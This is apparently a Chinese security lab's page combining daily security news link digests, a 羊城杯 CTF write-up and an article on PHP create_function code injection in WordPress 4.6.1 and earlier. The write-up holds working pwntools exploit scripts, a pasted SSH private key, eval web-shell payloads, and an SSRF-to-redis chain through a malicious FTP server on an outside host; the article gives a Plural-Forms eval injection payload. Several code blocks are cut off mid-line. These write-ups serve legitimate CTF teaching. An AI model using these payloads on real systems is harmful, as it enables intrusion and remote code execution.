网络安全日报 2021年09月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、SonicWall 修补 SMA 设备中的关键漏洞 https://www.securityweek.com/sonicwall-patches-critical-vulnerability-sma-appliances 2、欧洲主要呼叫中心提供商之一的 GSS 遭受勒索软件攻击 https://securityaffairs.co/wordpress/122570/cyber-crime/gss-ransomware-attack.html 3、 Chrome 发布紧急更新修补了一个被在野利用的0day漏洞 https://securityaffairs.co/wordpress/122561/security/google-chrome-zero-day-flaw.html 4、研究人员发布了针对 3 个 iOS 0day的 PoC https://securityaffairs.co/wordpress/122545/hacking/poc-exploit-code-ios-zero-day.html 5、一份包含 38 亿条 Clubhouse 和 Facebook 用户数据在线出售 https://securityaffairs.co/wordpress/122532/cyber-crime/clubhouse-facebook-data-scraping.html 6、新的 FamousSparrow APT使用ProxyLogon漏洞进行攻击 https://securityaffairs.co/wordpress/122525/apt/famoussparrow-apt-target-hotels.html 7、一种新的零日漏洞被利用来危害 Mac 系统 https://www.helpnetsecurity.com/2021/09/24/cve-2021-30869/ 8、开发人员修复了 Apache HTTP Server 中的多个漏洞 https://portswigger.net/daily-swig/developers-fix-multitude-of-vulnerabilities-in-apache-http-server 9、TangleBot恶意软件针对美国和加拿大移动用户 https://www.cloudmark.com/en/blog/mobile/tanglebot-new-advanced-sms-malware-targets-mobile-users-across-us-and-canada-covid-19 10、Debt-IN公司遭勒索软件攻击泄露南非公民数据 https://portswigger.net/daily-swig/millions-of-south-africans-caught-up-in-security-incident-after-debt-recovery-firm-suffers-significant-data-breach
网络安全日报 2021年09月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、苹果周四证实了针对旧款 iPhone 的新的0day攻击 https://www.securityweek.com/apple-confirms-new-zero-day-attacks-older-iphones 2、Apple 在 iOS 和 macOS 中弃用过时的 TLS 1.0、 1.1 协议 https://www.securityweek.com/apple-deprecates-outdated-tls-protocols-ios-macos 3、思科修补 IOS XE 软件中的关键漏洞 https://www.securityweek.com/cisco-patches-critical-vulnerabilities-ios-xe-software 4、Microsoft Exchange 自动发现功能漏洞导致数十万域凭据泄露 https://securityaffairs.co/wordpress/122510/hacking/microsoft-exchange-autodiscover-feature-bug.html 5、微软发现名为BulletProofLink 的大规模网络钓鱼即服务 (PHaaS) https://securityaffairs.co/wordpress/122503/cyber-crime/bulletprooflink-phishing-phaas.html 6、研究人员发现NanoMQ 中的0day漏洞,影响上亿个物联网设备 https://threatpost.com/100m-iot-devices-zero-day-bug/174963/ 7、Microsoft WPBT 中一个未修补的漏洞影响Win 8和之后的所有系统 https://thehackernews.com/2021/09/a-new-bug-in-microsoft-windows-could.html 8、Beego 修补开源 Web 框架中的严重 XSS 漏洞 https://portswigger.net/daily-swig/beego-patches-severe-xss-vulnerability-in-open-source-web-framework 9、钓鱼邮件利用恶意PowerPoint文档分发AgentTesla https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-powerpoint-documents-on-the-rise/ 10、行为健康提供商Texoma数据泄露影响超过2.4万人 https://therecord.media/data-breach-at-texas-behavioral-health-center-affects-more-than-24000/
羊城杯WP
Pwn 1、Babyrop 栈溢出,且存在后门函数; 利用func1将'/cin/sh'修改为'/bin/sh', 利用func2调用参数执行system('/bin/sh')即可 #!usr/bin/env python #-*- coding:utf8 -*- from pwn import * #p = process("./BabyRop") p = remote("192.168.39.161", 11000) elf = ELF("./BabyRop") payload = flat([    'a'*(0x28+4),    0x80491fd,  #func1    0x8049332,  # ret address ;pop rdx r15 ;ret    0x804c024,    1,    0x80491d6,  #func2:system    0x80491d6,    0x804c024 ]) p.sendline(payload) p.interactive() 2、Whats your name Libc 2.23 + off by null: Off by null使得下个相邻chunk的pre_inuse置零;然后伪造pre_size,以及fake chunk的fd,bk,之后释放pre_inuse置零的chunk,实现unlink,造成堆块重叠; 最后覆写重叠堆块上存在的函数指针,改为setcontext+53,并提前布置好orw的rop链,调用show函数时,触发orw读出flag; #!usr/bin/env python #-*- coding:utf8 -*- from pwn import * pc="./name" #p=process(pc,env={"LD_PRELOAD":"./libc.so.6"}) p = remote(192.168.39.161,9999) ru = lambda x : p.recvuntil(x,timeout=0.2) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00')) rv6 = lambda : u64(rv(6)+'\x00'*2) what_idx="index:" def add(size):    ru("5.exit\n")    sl("1")    ru("name size:")    sl(str(size)) def edit(idx,c):    ru("5.exit\n")    sl("2")    ru(what_idx)    sl(str(idx))    ru("name:")      sl(c)   def show(idx):    ru("5.exit\n")    sl("3")    ru(what_idx)    sl(str(idx)) def dele(idx):    ru("5.exit\n")    sl("4")    ru(what_idx)    sl(str(idx)) add(0x100) #0 add(0x100) #1 dele(0) add(0x30) show(0) libc_base = ru7f() - 0x3c4b78 -0xe0 setcontext_53 = libc_base + libc.sym['setcontext'] + 53 add(0x10) #2 show(2) ru('\n') #这里需要根据具体情况调试 heap_addr = rv6() - 0xad0 dele(0) add(0x48) #0 add(0x100) #3 pay = flat([    0,0x41,    heap_addr+0xc8-0x18,heap_addr+0xc8-0x10,    'a'*0x20,    0x40 ]) edit(0,pay) edit(3,'a'*0xf0+p64(0x100)+p64(0x121)) dele(3) add(0x10) #3   add(0xa8-0x20) #4   add(0xc0) #5   srop_addr = heap_addr+0xb30 pay = flat([    0,0x21,    setcontext_53,srop_addr ]) edit(0,pay) syscall =  libc_base + 0xbc3f5     p_rdi = libc_base + 0x21112 p_rsi =   libc_base + 0x202f8 p_rax_rdx_rbx =  libc_base + 0x1436b1 ret =  p_rsi+1 rop_base = heap_addr + 0xc60 edit(5,'\x00'*0xa0+p64(rop_base)+p64(ret)) flag_str_addr = heap_addr   flag_addr=rop_base+0xd8 payload=flat([    p_rdi,flag_addr,    p_rsi,4,    p_rax_rdx_rbx,2,4,0,    syscall,    p_rdi,3,    p_rsi,flag_str_addr,    p_rax_rdx_rbx,0,0x50,0,    syscall,    p_rdi,1,    p_rsi,flag_str_addr,    p_rax_rdx_rbx,1,0x50,0,    syscall,    'flag\x00' ]) edit(1, payload) show(0) p.interactive() 3、Nologin 查看保护: 存在栈溢出的点: 第一次溢出劫持rbp,再返回到溢出函数; 第二次溢出,首先往bss段上读orw的gadget,其中pop rdx要自己写到bss上; 然后栈迁移到bss段上,执行orw #!usr/bin/env python #-*- coding:utf8 -*- from pwn import * pc="./nologin" reomote_addr=["",40001] context.log_level="debug" # p=process(pc) p = remote("192.168.39.161",40001) ru = lambda x : p.recvuntil(x,timeout=0.2) sn = lambda x : p.send(x) rl = lambda   : p.recvline()   sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00')) rv6 = lambda : u64(rv(6)+'\x00'*2) p.sendlineafter("input>> \n","2") flag_addr = 0x0602020+0x400 str_addr = 0x0602050 p.sendlineafter(">password: \n","1"*5+p64(flag_addr)+p64(0x400FF8)) # rax=0x602420 p.sendafter("password: \n","a"*0xd+p64(0x4009BC)+"a"*9 ) read_addr = 0x400780 open_addr = 0x4007B0 puts_addr = 0x400730 p_rdi = 0x401173 p_rsi_r15 = 0x401171 p_rdx = 0x6024b0 orw = flat([        p_rdi,flag_addr,        p_rsi_r15,0,0,        open_addr,        p_rdi,4,        p_rsi_r15,str_addr,0,        p_rdx,0x40,        read_addr,        p_rdi,str_addr,        puts_addr ]) p.sendline(("./flag".ljust(8,'\x00')+orw+asm("pop rdx\nret\n")) ) p.interactive() Re 1、Android 将apk文件拉到jeb中进行分析,发现checkflag的关键逻辑在activity层 可以看到是一个base64算法,但是base表要通过和服务器交互得到 main里面有交互的代码 远程连接端口,输入的值进行md5,之后每字节减1为c232666f1410b3f5010dc51cec341f58 直接进行在线解密 之后连接端口取得变表,base解密得到flag为 SangFor{212f4548-03d1-11ec-ab68-00155db3a27e} 2、vm 分析程序,将程序smc动调自解密后,发现是一个vm 动态调试 跟进程序逻辑,发现 vm就是前32字节就是取数据单字节异或,后面的12字节分为3组进行相同的加密 得到以下关键点: 前32字节最后比较的地方 取输入 前三十二字节的异或 之后三组加密对比密文的地方: 同时跟进加密逻辑为 data = (data >> 5)^data data = ((tmp << 7)&2565961507)^ data data = ((tmp << 0x18)&904182048)^ data data = (tmp >> 0x12)^ data 这三组用z3进行约束求解 之后 分段解密得到flag字符串为16584abc45baff901c59dde3b1bb6701a254b06cdc23 3、smc 首先搜索字符串定位关键代码 动态调试,让程序自解密得到代码如下: 分析发现就是将程序进行base64变表加密之后再与四个数字进行异或 跟到base变表如下: 之后直接上脚本解密 #include<iostream> #include <iomanip> using namespace std; int main() { int table[64] = {0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x9  int code[56] = {0x48,0x3E,0x6F,0x51,0x6E,0x36,0x61,0x71,0x4C,0x72,0x7B,0x44,0x48,0x36,0x6F,0x64,0x68,0x64,0x6D,0x30,0x64,0x4D,0x65,0x60,0x4D,0x42,0x6F,0x3F,0x6C,0x52,0x67,0x6C,0x48,0x74,0x47,0x50,0x4F,0x64,0x6F,0x62,0x44,0x6C,0x6B,0x6E,0x65,0x6A,0x6D,0x47,0x49,0x7C,0x67,0x68,0x44,0x62,0x3C,0x34};  for(int k=0;k<56;k+=4) {        code[k] ^= 0xa6;                code[k+1] ^= 0xa3;                code[k+2] ^= 0xa9;                code[k+3] ^= 0xac;   }        int a[56];//下标   for(int j=0;j<56;j++)      for(int i=0;i<64;i++)         if(table[i]==code[j])                   a[j]=i;               int len = 56;   int flag[56];   j=0;   int i=0;   do   {          flag[j] = (a[i]<<2) | (a[i+1]>>4); //取出第一个的前6位与第二个后2位进行组合          flag[j+1] = ((a[i+1] & 0xf)<<4) | (a[i+2]>>2); //取出第二个的后4位与第三个的后4位进行组合          flag[j+2] = ((a[i+2] & 0x3)<<6) | (a[i+3]);//取出第三个字符的后2位与第4个字符进行组合          j+=3;        i+=4;   }      while(i<len-2);//8/4*3=6    cout<<"V8:"<<endl;    for(i=0;i<56;i+=4)   {        printf("%c%c%c%c", flag[i], flag[i+1], flag[i+2], flag[i+3]);   }        return 0; } 4、Deltx 分析程序,发现输入应该为41位,然后将SangFor{}里面的数据分为八组,每组4byte 之后后面的判断实际都是判断相乘和相加的结果 直接列出方程在线解密 -v16 + v10 = -42564 v16*v10=614340037 得到v16 = 0xD2BF v10 = 0x2C7B 以此类推 得到flag为 SangFor{2C7BD2BF862564baED0B6B6EA94F15BC} Misc 1、签到 根据图片含义推断数字含义,比较脑洞,对gif逐帧分离后 28-08-30-07-04-20-02-17-23-01-12-19 求一下md5 d93b7da38d89c19f481e710ef1b3558b 2、赛博德国人 压缩包的hint 流量包导出pdf 和 txt 还可以找到密码为d279186428a75016b17e4df5ea43d080230 打开pdf有密钥 然后engima解密得到475748547berta36623936373230356665373537393566313034383537316366346366623730337dora 德语单词和十六进制转化后得到GWHT{6b967205fe75795f1048571cf4cfb703} 3、misc520 150号压缩包里面提取到 72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108, 解压0号压缩包,并从flag.png中提取压缩包,爆破密码,得到流量包如下: 不支持在 Docs 外粘贴 block 类似xnuca那个鼠标流量,还原鼠标流量画图 前后两部分字符串拼接起来,asc偏移解密 GWHT{W3lCom3_t0_M!sc} 4、Baby_Forenisc vol,cmdscan发现要找git号,过滤git有关内容 发现ssh.txt连接github的私钥 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 putty加载 发现了一个邮箱,去GitHub搜索,是个手机app 下载APP文件,在里面找到一个htm,有段base U2FuZ0ZvcntTMF8zYXp5XzJfY3JhY2tfbm9vYl9wbGF5ZXJ9 解base64即可 Crypto 1、Rsa? 读getloop函数,有: (x1+a*y1)(mod n)=((X+aY)^65536)(mod n) 因为 a=((inv_Z1-X)*inv_Y)%n, 所以 (x1+a*y1)(mod n)=(inv_Z1^65536)(mod n) yafu分解n 求得inv_Z1,Z1,X X+aY=inv_Z1 故 Y=((inv_Z1-X)*inv_a)(mod n) from gmpy2 import invert from Crypto.Util.number import long_to_bytes n = 13390709926509813526471364597371124446888078365567927211781799241724742352679484983709219580483800891886832613684875066109177882219522305348565532970795023 p = 115718235064789220654263009993128325569382592506655305434488398268608329541037 q = 115718235064789220654263009993128324769382192706654302434478391267607309966379 phin = (p - 1) * (q - 1) x1 = 5404548088049249951619519701935576492239293254135836357417714329205323074367876875480850741613547220698045360461761929952847796420174204143917852624050110 y1 = 2110372753170830610718226848526649992911771424441223687775304654852191999130502986109306355582366065947895295520226816523397652918227241733632791793362785 e = 65537 a = 1762039418842677123086894939949574689744108610561557889235294034870342076452734215004689409493802437034960516295735815195656138656970901855976802991519141 d = invert(e, phin) inv_Z1 = pow((x1 + a * y1) % n, d, n) Z1 = invert(inv_Z1, n) inv_2 = invert(2, n) X = ((Z1 + inv_Z1) * inv_2) % n Y = ((inv_Z1 -X) * invert(a, n)) % n print(long_to_bytes(Y)) flag:GWHT{pell_equation_is_very_interesting} 2、Bigrsa 模不互素攻击。p可以从greatest common factor(n1、n2)得到, 求出q1、q2,就可以有私钥解密了 import math from gmpy2 import invert from Crypto.Util.number import * n1 = 1038352964090817518607705355147465868153958984272603343256803136483691326610578406808232955122369489533708955684197213311708345578125414683092988194972677468928145838064230271673828254791579513658230856390787388476476344068413313070355938107129145453472016190042536026921273702658330920825430671 n2 = 1153831985846771474875560143364483107218538411687580124456341828141803144805018289271600710151970894560424721858508938473704818173258688240762452907357497173847696616988950001764414972423718739813536896077111468528915514911685287998143119924714496400145018587634954722671682240156659066273824905 e = 65537 c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744 p = math.gcd(n1, n2) print(p) p = 10210039189276167395636779557271057346691950991057423589319031237857569595284598319093522326723650646963251941930167018746859556383067696079622198265424441 q1 = n1 // p q2 = n2 // p phin1 = (p - 1) * (q1 - 1) phin2 = (p - 1) * (q2 - 1) d1 = invert(e, phin1) d2 = invert(e, phin2) m = pow(c, d2, n2) m = pow(m, d1, n1) print(long_to_bytes(m)) flag:SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8} 3、RingRingRing import stringimport pwnfrom pwnlib.util.iters import mbruteforcefrom hashlib import md5def main(): r = pwn.remote("192.168.39.161", 2378) msg = r.recvuntil('xxxxx:').decode() suffix = msg[msg.find(' + ') + 3: msg.find(')')] cipher = msg[msg.find('==') + 3: msg.find('\n')] proof = mbruteforce(lambda flag:GWHT{a_funny_equation} 4、MISS https://github.com/Mathsyo/CTFs/tree/2630cdb64799774020d32107ff0ebcf269c64535/MidnightFlagCTF/Cryptography/Something_missingS_BOX = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf flag:SangFor{cb4_k27} 5、Easy_Rsa (p-1)和(q-1)有公共的大质数因数g,用魔改的rho方法分解n https://0xdktb.top/2020/02/28/Summary-of-Crypto-in-CTF-RSA/中U13 from Crypto.Util.number import *from gmpy2 import invertdef f(x, n): return (pow(x, n - 1, n) + 3) % ndef rho(n): i = 1 while True: a = getRandomRange(2, n) b = f(a, n) j = 1 while True: p = GCD(abs(a - b), n) # print('{} in {} circle'.format(j, i)) if p == n: break elif p > 1: return (p, n // p) el flag:SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b} Web 1、only 4 https://www.freebuf.com/vuls/202819.html 条件竞争的脚本直接打 #coding=utf-8import ioimport requestsimport threadingsessid = 'bad_cat'data = {"cmd":"system('cat /flag');"}def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://192.168.39.161:8000/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?> 回显flag 2、cross the side ssrf打6379的redis,过程和脚本参考 https://github.com/Maskhe/evil_ftphttps://www.cnblogs.com/zpchcbd/p/14702897.htmlpayload用 https://github.com/tarunkant/Gopherus 生成 自己vps跑个恶意ftp: # -*- coding: utf-8 -*-# @Time : 2021/1/13 6:56 下午# @Author : tntaxin# @File : ftp_redirect.py# @Software:import socketfrom urllib.parse import unquote# 对gopherus生成的payload进行一次urldecodepayload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0 发包 POST /_ignition/execute-solution HTTP/1.1Host: 192.168.39.161:8077Content-Type: application/jsonContent-Length: 194{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "ftp://aaa@81.70.59.112:23/123" }} 访问发现写进去了,antsword连接 http://81.70.59.112:23/shell.php 根目录flag https://www.yijinglab.com/pages/CTFLaboratory.jsp
网络安全日报 2021年09月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Netgear 修补小型路由器中的远程代码执行漏洞 https://www.securityweek.com/netgear-patches-remote-code-execution-flaw-soho-routers 2、海康威视摄像头因严重漏洞可能遭受攻击 https://www.securityweek.com/many-hikvision-cameras-exposed-attacks-due-critical-vulnerability 3、研究人员在 AWS WorkSpaces 中发现远程代码执行漏洞 https://www.securityweek.com/remote-code-execution-vulnerability-found-aws-workspaces 4、由于 Microsoft Exchange 协议缺陷导致数十万凭据泄露 https://www.securityweek.com/hundreds-thousands-credentials-leaked-due-microsoft-exchange-protocol-flaw 5、Chrome 94更新修补了19个漏洞包含多个高危漏洞 https://www.securityweek.com/google-working-improving-memory-safety-chrome 6、研究人员在Nagios 网络管理产品发现多个严重漏洞 https://securityaffairs.co/wordpress/122464/hacking/nagios-network-management-systems-flaws.html 7、 VMware 修复了 vCenter Server 中的高危漏洞 https://securityaffairs.co/wordpress/122454/security/vmware-vcenter-server-cve-2021-22005.html 8、以色列通信巨头Voicenter公司遭到黑客入侵 https://www.middleeastmonitor.com/20210921-israel-communications-company-hit-by-major-cyberattack/ 9、美国爱荷华州农民合作社遭到勒索软件攻击 https://threatpost.com/blackmatter-strikes-iowa-farmers-cooperative-demands-5-9m-ransom/174846/ 10、CISA、FBI和NSA警告称Conti 勒索软件攻击正在升级 https://securityaffairs.co/wordpress/122480/security/conti-ransomware-attacks-escalation.html
网络安全日报 2021年09月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Finder 中未修补的高危漏洞影响macOS 用户 https://thehackernews.com/2021/09/unpatched-high-severity-vulnerability.html 2、新的 Capoae 恶意软件渗透 WordPress 网站并安装后门 https://thehackernews.com/2021/09/new-capoae-malware-infiltrates.html 3、Cring Ransomware Gang 利用 11 年前的 ColdFusion 漏洞 https://thehackernews.com/2021/09/cring-ransomware-gang-exploits-11-year.html 4、研究人员在 iOS 15 发布当天披露 iPhone 锁屏绕过 https://therecord.media/researcher-discloses-iphone-lock-screen-bypass-on-ios-15-launch-day/ 5、Mirai 在野外利用 OMIGOD 漏洞 https://cyware.com/news/mirai-exploits-omigod-flaws-in-the-wild-6c743051 6、Turla APT 组织使用新后门攻击阿富汗、德国和美国 https://securityaffairs.co/wordpress/122437/apt/turla-apt-new-backdoor-afghanistan.html 7、Apache OpenOffice 存在远程代码执行漏洞 https://securityaffairs.co/wordpress/122426/security/apache-openoffice-rce-cve-2021-33035.html 8、1.06亿泰国游客数据在网上泄露 https://securityaffairs.co/wordpress/122418/data-breach/thailand-visitors-leaked-online.html 9、Numando 银行木马利用YouTube、Pastebin等公共平台作为C2 https://securityaffairs.co/wordpress/122371/malware/numando-banking-trojan.html 10、9月Windows安全更新导致网络打印机故障 https://www.bleepingcomputer.com/news/security/new-windows-security-updates-break-network-printing/
从本地到WordPress代码注入
什么是create_function? 版本影响: 注意:create_function在PHP7.2.0之后被废弃,因此该函数的适用范围在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0 简单讲解: 首先还是先看PHP手册,PHP官方对create_function是这么定义的: 首先该函数有两个参数,一个是函数参数,另一个是函数主体代码,并且该函数的范围值即为函数名。 举个例子: <?php $Lxxx = create_function('$str' , 'echo $str;phpinfo();'); echo $Lxxx; echo "<br>"; echo $Lxxx("hello"); 我们新建一个函数,名称为Lxxx,并且该函数的用途就是打印输出传入的字符串以及phpinfo页面。 此时我们访问页面如下: 可以看到,这个时候打印输出了hello以及phpinfo页面 除此之外,我们可以发现函数名是一串以lambda开头的字符串,也就是匿名函数。 这里我们可以发现,如果我们传入create_funtion中的第二个参数可控,那么我们就可以进行命令执行。 如何利用create_function()进行注入? 想要知道如何利用它进行注入,我们还得看看PHP官方手册是怎么说的: 其实就是需要我们注意,这个函数本身就是在内部执行eval函数, 因此我们可以将上方的代码改写成另一种等价的形式: <?php function lambda_6($str){    echo $str;    phpinfo(); } ?> 那我们试想,既然这个函数参数可控,并且内部执行了eval函数,我们能否利用它进行RCE呢? 假设我们有以下代码: <?php $ctf = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) {    $ctf('',$_GET['Lxxx']); } 其中传入的ctf参数不能以字母数字下划线开头,而Lxxx参数对于我们来说是完全可控的。 既然如此我们可以考虑使用create_function函数,但是这个时候会出现一个问题,传入的ctf参数不能以字母数字下划线开头,否则会产生匹配无法进入语句。 问题一: 那么该如何又使用create_function函数,又不以字母开头呢? 分析一: 答案就是:使用反斜杠。 因为在PHP中默认的命名空间为\,也就是说,所有的原生函数以及各种原生类,都是在\这个命名空间下,平常我们使用的各种函数,默认都是直接写函数名,但是并没有管命名空间,不写\调用函数相当于是一个相对路径,同理,既然有相对路径,那么就会有绝对路径。也就是说当我们调用函数的时候,如果函数的命名空间在\下,我们使用\function_name()的方式调用函数,同样也是可以的 问题二: 对于下方代码,虽然参数可控,但是除了命令以外,还有}这个不可控字符,如果存在这个字符会报错,该怎么办? <?php function lambda_6($str){    echo $str;    phpinfo(); } ?> 分析二: 注入的时候在末尾添加注释符,将后面的内容注释掉即可。 也就是说,我们只需要传如下payload即可: ?Lxxx=;}phpinfo();/* POSTDATA: ctf=\create_function WordPress中的create_function()注入 影响范围: WordPress<=4.6.1 漏洞复现: WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一处使用到了create_function函数 涉及到的代码如下: /** * Makes a function, which will return the right translation index, according to the * plural forms header * @param int   $nplurals * @param string $expression */ function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " \$index = (int)($expression); return (\$index < $nplurals)? \$index : $nplurals - 1;"; return create_function('$n', $func_body); } 从注释中我们可以知道:这个函数是根据在目录wp-content/languages下语言文件的plural forms这个header来创建函数并返回 首先该函数返回值中可控参数为$func_body,而该参数由$nplurals参数决定$func_body,并且$nplurals由语言文件中的plural forms决定,因此,只需要能控制语言文件,即可控制整一个create_function函数 首先plural forms在如下位置: 我们现在将第九行修改如下: "Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*" 用;}将前面的内容闭合,并且使用/*注释掉后面的代码 再将zh_CN.po文件重新编译生成zh_CN.mo,虽然提示有错,但是不影响我们编译。 这个时候在主页传payload: ?Lxxx=phpinfo(); 即可得到phpinfo页面,也就达成了RCE。 实验推荐:   https://www.yijinglab.com/expc.do?ec=ECID1eae-d41b-4f53-9280-21c9ef9385ba
网络安全日报 2021年09月18日
